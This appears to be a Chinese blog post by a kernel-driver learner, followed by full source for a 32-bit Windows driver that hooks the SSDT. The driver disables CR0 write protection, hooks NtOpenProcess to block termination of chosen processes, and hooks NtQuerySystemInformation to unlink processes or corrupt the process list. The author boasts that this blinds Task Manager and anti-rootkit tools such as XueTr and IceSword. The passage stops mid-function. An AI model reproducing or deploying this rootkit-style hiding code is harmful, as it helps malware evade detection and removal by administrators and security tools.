剛開始學驅動,成功HOOK NtOpenProces 現在本想試試HOOK NtQuerySystemInformation,沒想打它的結構N多N長,也讓我很驚訝,這個API居然能獲取或者設置超過50多種的信息。
參考網上的一些代碼,看的我暈頭轉向的..也沒點解釋,而且也沒法編譯...總算搞清楚 進程信息是以鏈表的形式存儲數據的。雖然沒學過鏈表,但也大概有所了解。在做實驗過程中,編譯出錯N次,系統藍屏了N次,總算完成也理解了。
在這個過程中發現一些有趣的事情,例如,網上大部分代碼都是HOOK 這個API來實現進程隱藏,其實還可以惡搞進程信息。最簡單的就是修改要保護進程的PID了。例如:Explorer.exe 的進程PID 是1203,那么我就可以修改成1234,這樣任務管理器也就獲取到假的 PID 。任何對進程操作的前提條件是能獲取到它的PID,現在PID被修改,結束進程自然也無法成功了。原本想修改成其他的進程的PID,例如,任務管理器的PID是1860,它要結束我們要保護的進程1203,那么我們就把 1203修改成它的PID1860,這就變成任務管理器自己結束自己了。可惜,不知道為什么會失敗。嘿嘿,雖然這個失敗了,但是在處理鏈表數據的時候又有新發現,發現破壞鏈表結構,就會實現隱藏所有進程的進程信息,任務管理器看到的是一片空白,目前最新版的XueTr 看到的也是一篇空白,還有冰刃,一查看進程就立即報錯。360任務管理器啟動就立即報錯。但是不知道什么原因居然能產生這種作用!據我所知,冰刃和XueTr貌似不是用常規的方法獲取進程的。所以即使是HOOK NtQuerySystemInformation 移除該進程的所有信息也能被識別出來。那么它們應該不是調用NtQuerySystemInformation這個獲取進程信息才對,現在我無意破壞NtQuerySystemInformation 的鏈表結構,居然能影響到它們,太奇怪了。
以下是截圖。

后來經過自己改進,實現了隱藏指定進程,任務管理器可以顯示其他的進程,冰刃和XueTr就無法獲取進程。不過不穩定,任務管理器有時候會報錯或者會顯示出無名的進程但是PID的值卻非常大。沒法,不知道真正原因,所以這個問題也沒法解決。
以下是成功的時候截的圖:

嘿嘿,正因為開始我對鏈表不太熟悉,所以在一次實驗中無意破壞了鏈表的結構,就發現這個現象。哈哈~~~,當然也不能說這發現能跟冰刃和XueTr對抗了,因為采用SSDD HOOK,所以它們很容易就能發現。至于360,倒也沒去測試過,首先加載驅動這一步就得費很多心思了。
以下是SYS完整源碼:方便日后復習之用。
main.h: 用于初始化驅動程序
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////
// 表示函數運行后 就從內存釋放
#define INITCODE code_sge("INIT")
// 表示內存不足時,可以被置換到硬盤
#define PAGECODE code_seg("PAGE")
#pragma once
#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#ifdef __cplusplus
}
#endif
/////////////////////////////////////////////////////////////////////
// 保存符號連接 用于卸載驅動是刪除符號連接
UNICODE_STRING SymLinkName;
// 創建設備
NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[]);
// 派遣函數
NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp);
// 卸載驅動
void UnLoadSys(IN PDRIVER_OBJECT pDriverObject);
// 接收到Ring3傳遞的命令則分析并執行
ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp);
/////////////////////////////////////////////////////////////////////
// 創建設備
#pragma INITCODE // 參數: 驅動對象,所創建的設備名稱,所創建的符號連接名稱
NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[])
{
// 創建設備
UNICODE_STRING DeviceName;
RtlInitUnicodeString(&DeviceName, MyDeviceName);
NTSTATUS Status;
PDEVICE_OBJECT pDevObj;
Status = IoCreateDevice(pDriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &pDevObj);
if(!NT_SUCCESS(Status))
{
if(Status == STATUS_INSUFFICIENT_RESOURCES)
{
KdPrint(("資源不足!"));
}
if(Status == STATUS_OBJECT_NAME_EXISTS)
{
KdPrint(("指定對象名存在!"));
}
if(Status == STATUS_OBJECT_NAME_COLLISION)
{
KdPrint(("指定對象名沖突!"));
}
KdPrint(("創建設備失敗!"));
return Status;
}
// KdPrint(("設備創建成功!"));
pDevObj->Flags |= DO_BUFFERED_IO;
// 創建符號連接
RtlInitUnicodeString(&SymLinkName, MySymLinkName);
Status = IoCreateSymbolicLink(&SymLinkName, &DeviceName);
if(!NT_SUCCESS(Status)) // 創建符號連接失敗
{
KdPrint(("創建符號連接失敗!"));
IoDeleteDevice(pDevObj); // 刪除創建的設備
return Status;
}
return STATUS_SUCCESS;
}
#pragma PAGECODE
NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp)
{
ULONG Info = 0;
// 得到當前棧指針
PIO_STACK_LOCATION Stack;
Stack = IoGetCurrentIrpStackLocation(pIrp);
// 區分IRP
ULONG IRP = 0;
IRP = Stack->MajorFunction;
switch(IRP)
{
case IRP_MJ_DEVICE_CONTROL:
{
//得到輸入緩沖區大小
ULONG cbin = Stack->Parameters.DeviceIoControl.InputBufferLength;
//得到輸出緩沖區大小
ULONG cbout = Stack->Parameters.DeviceIoControl.OutputBufferLength;
//得到IOCTL碼
ULONG Ring3_Cmd = Stack->Parameters.DeviceIoControl.IoControlCode;
// 掉用回調函數,按照指定的信息執行指定動作
Info = CallBack(Ring3_Cmd, pIrp);
}
break;
case IRP_MJ_CREATE:
break;
case IRP_MJ_CLOSE:
break;
case IRP_MJ_READ:
break;
}
// 對相應的IRP進行處理
pIrp->IoStatus.Information = Info;
pIrp->IoStatus.Status = STATUS_SUCCESS; // 返回成功
// 指示完成此IRP
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
SSDT_HOOK.h: SSDT HOOK 架構
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出SSDT表
typedef struct _ServiceDescriptorTable
{
PVOID ServiceTableBase; // SSDT基址
PVOID ServiceCounterTable; // 包含SSDT中每個服務被調用次數的計數器,一般由sysenter更新即Ring3轉Ring0中斷
unsigned int NumberOfServices; // 由ServiceTableBase描述服務的數目
PVOID ParamTableBase; // 包含每個系統服務參數字節數表的基地址-系統服務參數表
}*PServiceDescriptorTable;
extern PServiceDescriptorTable KeServiceDescriptorTable;
#pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函數地址
int HOOK_API(IN int NtAPI_ID, OUT LONG *Nt_Addr, IN ULONG MyFun)
{
if(NtAPI_ID>295)
{
KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
return 1;
}
if(!MyFun)
{
KdPrint(("代替函數地址無效:0x%X", MyFun));
return 2;
}
// 獲取NtAPI的在SSDT表的地址
LONG *SSDT_NT_Addr = NULL;
SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
*Nt_Addr = *SSDT_NT_Addr; // 取出真正的NtApi地址
KdPrint(("函數原地址存放在SSDT的地址:0x%X", SSDT_NT_Addr));
KdPrint(("讀取該地址獲取真正NtAPI地址:0x%X", *SSDT_NT_Addr));
KdPrint(("代替函數地址:0x%X", MyFun));
if((LONG)SSDT_NT_Addr<0x80000000 ||(LONG)SSDT_NT_Addr>0x90000000)
{
KdPrint(("函數原地址存放在SSDT的地址獲取失敗:0x%X", SSDT_NT_Addr));
return 3;
}
if((LONG)*Nt_Addr<0x80000000 ||(LONG)*Nt_Addr>0x90000000)
{
KdPrint(("原生函數地址獲取失敗:0x%X", SSDT_NT_Addr));
return 3;
}
// 修改SSDT API地址
__asm
{
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax // 去掉內存保護
}
*SSDT_NT_Addr = MyFun; // 修改存放在SSDT里面的地址
__asm
{
mov eax, cr0
or eax, 10000h
mov cr0, eax // 恢復內存保護
sti
}
return 0;
}
#pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函數地址
int UnHOOK_API(IN int NtAPI_ID, WCHAR Real_NtAPI_Name[])
{
if(NtAPI_ID>295)
{
KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
return 1;
}
// 獲取NtAPI的在SSDT表的地址
LONG *SSDT_NT_Addr = NULL;
SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
// 獲取原生NtAPI地址
UNICODE_STRING NtAPI_Name;
ULONG Real_NtAPI_Addr;
RtlInitUnicodeString(&NtAPI_Name, Real_NtAPI_Name);
Real_NtAPI_Addr = (ULONG)MmGetSystemRoutineAddress(&NtAPI_Name);
if(Real_NtAPI_Addr<0x80000000 ||Real_NtAPI_Addr>0x90000000)
{
KdPrint(("獲取原生%ws地址失敗:0x%X",Real_NtAPI_Name, Real_NtAPI_Addr));
return 2;
}
// 恢復SSDT API地址
__asm
{
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax // 去掉內存保護
}
*SSDT_NT_Addr = Real_NtAPI_Addr; // 修改存放在SSDT里面的地址
__asm
{
mov eax, cr0
or eax, 10000h
mov cr0, eax // 恢復內存保護
sti
}
return 0;
}
NtQuerySystemInformation_Struct.h: 含義如其名
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#ifndef __HOOKFUN_H__
#define __HOOKFUN_H__
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESSES { // Information Class 5
ULONG NextEntryDelta; // 構成結構列的偏移量
ULONG ThreadCount; // 線程數目
ULONG Reserved1[6];
LARGE_INTEGER CreateTime; // 創建時間
LARGE_INTEGER UserTime; // 用戶模式(Ring3)的CPU時間
LARGE_INTEGER KernelTime; // 內核模式(Ring0)的CPU時間
UNICODE_STRING ProcessName; // 進程名稱
KPRIORITY BasePriority; // 進程優先權
ULONG ProcessId; // 進程標識符
ULONG InheritedFromProcessID; // 句柄數目
ULONG HandleCount; // 句柄數目
ULONG Reserved2[2];
VM_COUNTERS VmCounters; // 虛擬存儲器的結構
IO_COUNTERS IoCounters; // IO計數結構
// SYSTEM_THREADS Therads[1]; // 進程相關線程的結構數組
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
/*
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime; //CPU內核模式使用時間;
LARGE_INTEGER UserTime; //CPU用戶模式使用時間;
LARGE_INTEGER CreateTime; //線程創建時間;
ULONG WaitTime; //等待時間;
PVOID StartAddress; //線程開始的虛擬地址;
CLIENT_ID ClientId; //線程標識符;
KPRIORITY Priority; //線程優先級;
KPRIORITY BasePriority; //基本優先級;
ULONG ContextSwitchCount; //環境切換數目;
THREAD_STATE State; //當前狀態;
KWAIT_REASON WaitReason; //等待原因;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize; //虛擬存儲峰值大小;
ULONG VirtualSize; //虛擬存儲大小;
ULONG PageFaultCount; //頁故障數目;
ULONG PeakWorkingSetSize; //工作集峰值大小;
ULONG WorkingSetSize; //工作集大小;
ULONG QuotaPeakPagedPoolUsage; //分頁池使用配額峰值;
ULONG QuotaPagedPoolUsage; //分頁池使用配額;
ULONG QuotaPeakNonPagedPoolUsage; //非分頁池使用配額峰值;
ULONG QuotaNonPagedPoolUsage; //非分頁池使用配額;
ULONG PagefileUsage; //頁文件使用情況;
ULONG PeakPagefileUsage; //頁文件使用峰值;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount; //I/O讀操作數目;
LARGE_INTEGER WriteOperationCount; //I/O寫操作數目;
LARGE_INTEGER OtherOperationCount; //I/O其他操作數目;
LARGE_INTEGER ReadTransferCount; //I/O讀數據數目;
LARGE_INTEGER WriteTransferCount; //I/O寫數據數目;
LARGE_INTEGER OtherTransferCount; //I/O其他操作數據數目;
}IO_COUNTERS,*PIO_COUNTERS;
typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTime; //CPU空閑時間;
LARGE_INTEGER ReadTransferCount; //I/O讀操作數目;
LARGE_INTEGER WriteTransferCount; //I/O寫操作數目;
LARGE_INTEGER OtherTransferCount; //I/O其他操作數目;
ULONG ReadOperationCount; //I/O讀數據數目;
ULONG WriteOperationCount; //I/O寫數據數目;
ULONG OtherOperationCount; //I/O其他操作數據數目;
ULONG AvailablePages; //可獲得的頁數目;
ULONG TotalCommittedPages; //總共提交頁數目;
ULONG TotalCommitLimit; //已提交頁數目;
ULONG PeakCommitment; //頁提交峰值;
ULONG PageFaults; //頁故障數目;
ULONG WriteCopyFaults; //Copy-On-Write故障數目;
ULONG TransitionFaults; //軟頁故障數目;
ULONG Reserved1;
ULONG DemandZeroFaults; //需求0故障數;
ULONG PagesRead; //讀頁數目;
ULONG PageReadIos; //讀頁I/O操作數;
ULONG Reserved2[2];
ULONG PagefilePagesWritten; //已寫頁文件頁數;
ULONG PagefilePageWriteIos; //已寫頁文件操作數;
ULONG MappedFilePagesWritten; //已寫映射文件頁數;
ULONG MappedFileWriteIos; //已寫映射文件操作數;
ULONG PagedPoolUsage; //分頁池使用;
ULONG NonPagedPoolUsage; //非分頁池使用;
ULONG PagedPoolAllocs; //分頁池分配情況;
ULONG PagedPoolFrees; //分頁池釋放情況;
ULONG NonPagedPoolAllocs; //非分頁池分配情況;
ULONG NonPagedPoolFress; //非分頁池釋放情況;
ULONG TotalFreeSystemPtes; //系統頁表項釋放總數;
ULONG SystemCodePage; //操作系統代碼頁數;
ULONG TotalSystemDriverPages; //可分頁驅動程序頁數;
ULONG TotalSystemCodePages; //操作系統代碼頁總數;
ULONG SmallNonPagedLookasideListAllocateHits; //小非分頁側視列表分配次數;
ULONG SmallPagedLookasideListAllocateHits; //小分頁側視列表分配次數;
ULONG Reserved3;
ULONG MmSystemCachePage; //系統緩存頁數;
ULONG PagedPoolPage; //分頁池頁數;
ULONG SystemDriverPage; //可分頁驅動頁數;
ULONG FastReadNoWait; //異步快速讀數目;
ULONG FastReadWait; //同步快速讀數目;
ULONG FastReadResourceMiss; //快速讀資源沖突數;
ULONG FastReadNotPossible; //快速讀失敗數;
ULONG FastMdlReadNoWait; //異步MDL快速讀數目;
ULONG FastMdlReadWait; //同步MDL快速讀數目;
ULONG FastMdlReadResourceMiss; //MDL讀資源沖突數;
ULONG FastMdlReadNotPossible; //MDL讀失敗數;
ULONG MapDataNoWait; //異步映射數據次數;
ULONG MapDataWait; //同步映射數據次數;
ULONG MapDataNoWaitMiss; //異步映射數據沖突次數;
ULONG MapDataWaitMiss; //同步映射數據沖突次數;
ULONG PinMappedDataCount; //牽制映射數據數目;
ULONG PinReadNoWait; //牽制異步讀數目;
ULONG PinReadWait; //牽制同步讀數目;
ULONG PinReadNoWaitMiss; //牽制異步讀沖突數目;
ULONG PinReadWaitMiss; //牽制同步讀沖突數目;
ULONG CopyReadNoWait; //異步拷貝讀次數;
ULONG CopyReadWait; //同步拷貝讀次數;
ULONG CopyReadNoWaitMiss; //異步拷貝讀故障次數;
ULONG CopyReadWaitMiss; //同步拷貝讀故障次數;
ULONG MdlReadNoWait; //異步MDL讀次數;
ULONG MdlReadWait; //同步MDL讀次數;
ULONG MdlReadNoWaitMiss; //異步MDL讀故障次數;
ULONG MdlReadWaitMiss; //同步MDL讀故障次數;
ULONG ReadAheadIos; //向前讀操作數目;
ULONG LazyWriteIos; //LAZY寫操作數目;
ULONG LazyWritePages; //LAZY寫頁文件數目;
ULONG DataFlushes; //緩存刷新次數;
ULONG DataPages; //緩存刷新頁數;
ULONG ContextSwitches; //環境切換數目;
ULONG FirstLevelTbFills; //第一層緩沖區填充次數;
ULONG SecondLevelTbFills; //第二層緩沖區填充次數;
ULONG SystemCall; //系統調用次數;
}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION;
typedef struct __SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime; //空閑時間;
LARGE_INTEGER KernelTime; //內核模式時間;
LARGE_INTEGER UserTime; //用戶模式時間;
LARGE_INTEGER DpcTime; //延遲過程調用時間;
LARGE_INTEGER InterruptTime; //中斷時間;
ULONG InterruptCount; //中斷次數;
}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES;
typedef struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG NetxEntryOffset; //下一個結構的偏移量;
ULONG CurrentSize; //當前頁文件大小;
ULONG TotalUsed; //當前使用的頁文件數;
ULONG PeakUsed; //當前使用的頁文件峰值數;
UNICODE_STRING FileName; //頁文件的文件名稱;
}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION;
typedef struct _SYSTEM_CACHE_INFORMATION
{
ULONG SystemCacheWsSize; //高速緩存大小;
ULONG SystemCacheWsPeakSize; //高速緩存峰值大小;
ULONG SystemCacheWsFaults; //高速緩存頁故障數目;
ULONG SystemCacheWsMinimum; //高速緩存最小頁大小;
ULONG SystemCacheWsMaximum; //高速緩存最大頁大小;
ULONG TransitionSharedPages; //共享頁數目;
ULONG TransitionSharedPagesPeak; //共享頁峰值數目;
ULONG Reserved[2];
}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION;
typedef NTSTATUS (* PZW_QUERY_SYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
NTSTATUS NTAPI NewZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
*/
// =================================================================
// BASIC TYPES
// =================================================================
typedef unsigned char BYTE, *PBYTE, **PPBYTE;
typedef unsigned short WORD, *PWORD, **PPWORD;
typedef unsigned long DWORD, *PDWORD, **PPDWORD;
typedef unsigned __int64 QWORD, *PQWORD, **PPQWORD;
typedef int BOOL, *PBOOL, **PPBOOL;
typedef void **PPVOID;
#endif //;
HOOK_API.h: HOOK API 原型定義與替代函數的實現
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include "NtQuerySystemInformation_Struct.h" // NtQuerySystemInformation 函數需要的結構
// 定義NtQuerySystemInformation的原型
extern "C" typedef NTSTATUS __stdcall NTQUERYSYSTEMINFORMATION(
// 類型信息,大概提供50余種信息探測或設置
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
// 為我們提供需要獲得的信息,或是我們需要設置的系統信息
__out_bcount_opt(SystemInformationLength) PVOID SystemInformation,
// SystemInformation 長度,根據探測的信息類型決定
__in ULONG SystemInformationLength,
// 系統返回需要的長度,通常可以設置為NULL
__out_opt PULONG ReturnLength
);
NTQUERYSYSTEMINFORMATION *RealNtQuerySystemInformation;
// 定義NtOpenProcess的原型
extern "C" typedef NTSTATUS __stdcall NTOPENPROCESS
(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);
NTOPENPROCESS *RealNtOpenProcess; // 定義函數指針 用來指向真正的NtOpenProcess函數地址
///////////////////////////////////////////////////////////////////////////////////////////
ULONG _ProcessPID_Len = 0;
ULONG _ProcessPID[512] = {0};
BOOL _L_HOOK = FALSE;
#pragma PAGECODE
BOOL ScanPID(ULONG PID)
{
for(ULONG i=0; i<_ProcessPID_Len; i++)
{
if(PID == _ProcessPID[ i])
{
return TRUE;
}
}
return FALSE;
}
// 定義自己的NtOpenProcess 用于檢查其傳遞過來的參數
#pragma PAGECODE
extern "C" NTSTATUS __stdcall MyNtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
)
{
PEPROCESS EP;
NTSTATUS rc;
HANDLE PID;
if( (ClientId != NULL) )
{
PID = ClientId->UniqueProcess;
// 如果是被保護的PID,則拒絕訪問,并將句柄設置為空
// if(PID == (HANDLE)_ProcessPID)
if(ScanPID((ULONG)PID))
{
//調試輸出 類似C語言的 Printf
ProcessHandle = NULL; //這個是關鍵
rc = STATUS_ACCESS_DENIED; //這個返回值
//PsLookupProcessByProcessId((ULONG)PID,&EP);
EP=PsGetCurrentProcess();
KdPrint(("【%s】進程想結束要保護的進程 \n",(PTSTR)((ULONG)EP+0x174)));
}
else
rc = RealNtOpenProcess(ProcessHandle, AccessMask, ObjectAttributes, ClientId);
}
return rc;
}
#pragma PAGECODE
extern "C" NTSTATUS __stdcall MyNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass, // 獲取信息的類型
__out_bcount_opt(SystemInformationLength) PVOID SystemInformation, // 輸出信息的buf地址
__in ULONG SystemInformationLength, // buf的空間大小
__out_opt PULONG ReturnLength) // 實際寫入的大小
{
SYSTEM_PROCESSES *lpspi = 0,*lpspia = 0;
lpspi = (SYSTEM_PROCESSES*)SystemInformation;
// UNICODE_STRING aProcessName;
// RtlInitUnicodeString(&aProcessName, L"Explorer.exe");
NTSTATUS a = RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if(SystemInformationClass != 5 || !NT_SUCCESS(a))
{
return a;
}
/*
// 這個是隱藏所有的進程 但是冰刃、XueTr能檢測出來
SystemInformation = NULL;
return STATUS_ACCESS_DENIED;
*/
if(_L_HOOK)
{
// 這個也是隱藏所有的進程 最新版的XueTr無法檢測出來并且也無法顯示正確的進程數等信息 冰刃查看進程會報錯
int i = 0;
while(lpspi->NextEntryDelta != 0)
{
i++;
if(i==2)
{
lpspi->NextEntryDelta = 5;
lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
continue;
}
lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
}
return a;
}
// 這個是隱藏指定進程 對冰刃、XueTr無效
// 如果節點信息有效
while(lpspi)
{
// 判斷該節點信息是否是我們要保護的進程信息
// if(RtlEqualUnicodeString(&aProcessName,&lpspi->ProcessName,1))
// if(lpspi->ProcessId == _ProcessPID)
if(ScanPID(lpspi->ProcessId))
{
// 如果這條要保護的進程信息是在頭節點
if(lpspia == 0)
{
// 有頭結點也有下一個節點 即不是唯一的節點
if(lpspi->NextEntryDelta != 0)
{
// 直接將輸出緩沖區的頭指針指向下一個節點 忽略頭結點的信息
SystemInformation = (PVOID)((DWORD)SystemInformation + lpspi->NextEntryDelta);
// 指針下移
lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
continue;
}
else
{
// 如果只有一個節點且是要隱藏的節點 則將輸出緩沖器置空
SystemInformation = NULL;
}
}
else // 如果是中間節點 則表示該進程信息是在中間或尾部
{
// 如果還有下一個節點 說明該進程信息是在中間部分
if(lpspi->NextEntryDelta != 0)
{
// 將該進程信息的上一個指針結構偏移量指向下一個節點 這樣就可以忽略這個進程的指針信息
lpspia->NextEntryDelta += lpspi->NextEntryDelta;
// 指針移向下一個指針
lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
continue;
}
//尾部結點
else
{
// 如果該進程信息是在尾部 則直接將進程信息的上一個指針結構偏移量指向空,這樣整個鏈表就忽略了這個進程信息鏈表
lpspia->NextEntryDelta = 0;
}
}
}
// 保存這個與我們要保護進程無關的信息指針~~
lpspia = lpspi;
// 如果還有下一個節點
if(lpspi->NextEntryDelta != 0)
{
// 移動到下一個節點 進行判斷該節點的信息是不要移除的信息
lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
}
else
{
// 如果沒有則置空 結束循環
lpspi = NULL;
// lpspia->NextEntryDelta = 5; //加上這個就能隱藏指定進程并且冰刃查看進程會報錯 XT看不到所有的進程 但是能顯示出正確的進程數 任務管理器可能也會報錯
}
}
return a;
}
main.cpp: 主函數
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include <main.h>
// 定義Rin3 傳遞下來的指令 因與Ring3定義相同 值必須 >=0x800
#define HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)
#define L_HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED,FILE_ANY_ACCESS)
#define UnHOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED,FILE_ANY_ACCESS)
extern "C"
{
#include <SSDT_HOOK.h> // SSDT HOOK 框架
#include <HOOK_API.h> // 要HOOK的函數原型及替代函數
}
// 相當于應用程序的main()函數 這是驅動人口函數,凡是驅動被加載均會從這里開始執行
#pragma INITCODE
extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING B)
{
// 注冊派遣函數
pDriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchRoutine;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchRoutine;
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRoutine;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchRoutine;
// 設置卸載驅動時要執行的代碼做善后,不設置則無法卸載
pDriverObject->DriverUnload = UnLoadSys;
// 創建設備 和 符號連接
CreateMyDevice(pDriverObject, L"\\Device\\L_Device", L"\\??\\LoveMengx_SSDTHOOK_Driver");
KdPrint(("【加載】驅動完畢。"));
///////////////////////////////////////////////////////////////////////////////////
LONG NtAPI_Addrs = 0;
if(!HOOK_API(122, &NtAPI_Addrs, (ULONG)MyNtOpenProcess))
{
KdPrint(("NtOpenProcess HOOK 成功~~", NtAPI_Addrs));
RealNtOpenProcess = (NTOPENPROCESS*)NtAPI_Addrs;
}
else
{
KdPrint(("HOOK 失敗~~", NtAPI_Addrs));
}
if(!HOOK_API(173, &NtAPI_Addrs, (ULONG)MyNtQuerySystemInformation))
{
KdPrint(("NtQuerySystemInformation HOOK 成功~~", NtAPI_Addrs));
RealNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION*)NtAPI_Addrs;
}
else
{
KdPrint(("HOOK 失敗~~", NtAPI_Addrs));
}
return 1;
}
// 卸載驅動
#pragma PAGECODE
void UnLoadSys(IN PDRIVER_OBJECT pDriverObject)
{
// 刪除設備
PDEVICE_OBJECT pDev;
pDev = pDriverObject->DeviceObject;
IoDeleteDevice(pDev);
// 刪除符號連接
IoDeleteSymbolicLink(&SymLinkName);
KdPrint(("【卸載】驅動完畢。"));
KdPrint(("-----------------------------------"));
}
BOOL HOOKAPI(ULONG Process_PID)
{
if(Process_PID >65536)
{
return FALSE;
}
if(!ScanPID(Process_PID)) // 檢查是否存在
{
_ProcessPID[_ProcessPID_Len] = Process_PID;
_ProcessPID_Len++;
}
return TRUE;
}
BOOL UnHOOKAPI()
{
BOOL Retu = FALSE;
_ProcessPID_Len = 0;
if(!UnHOOK_API(122, L"NtOpenProcess"))
{
Retu = TRUE;
KdPrint(("NtOpenProcess UnHOOK 成功~~"));
}
else
{
Retu = FALSE;
KdPrint(("NtOpenProcess UnHOOK 失敗~~"));
}
if(!UnHOOK_API(173, L"NtQuerySystemInformation"))
{
Retu = TRUE;
KdPrint(("NtQuerySystemInformation UnHOOK 成功~~"));
}
else
{
Retu = FALSE;
KdPrint(("NtQuerySystemInformation UnHOOK 失敗~~"));
}
return Retu;
}
int my_atoi(const char* p)
{
bool neg_flag = false;// 符號標記
int res = 0;// 結果
if(p[0] == '+' || p[0] == '-')
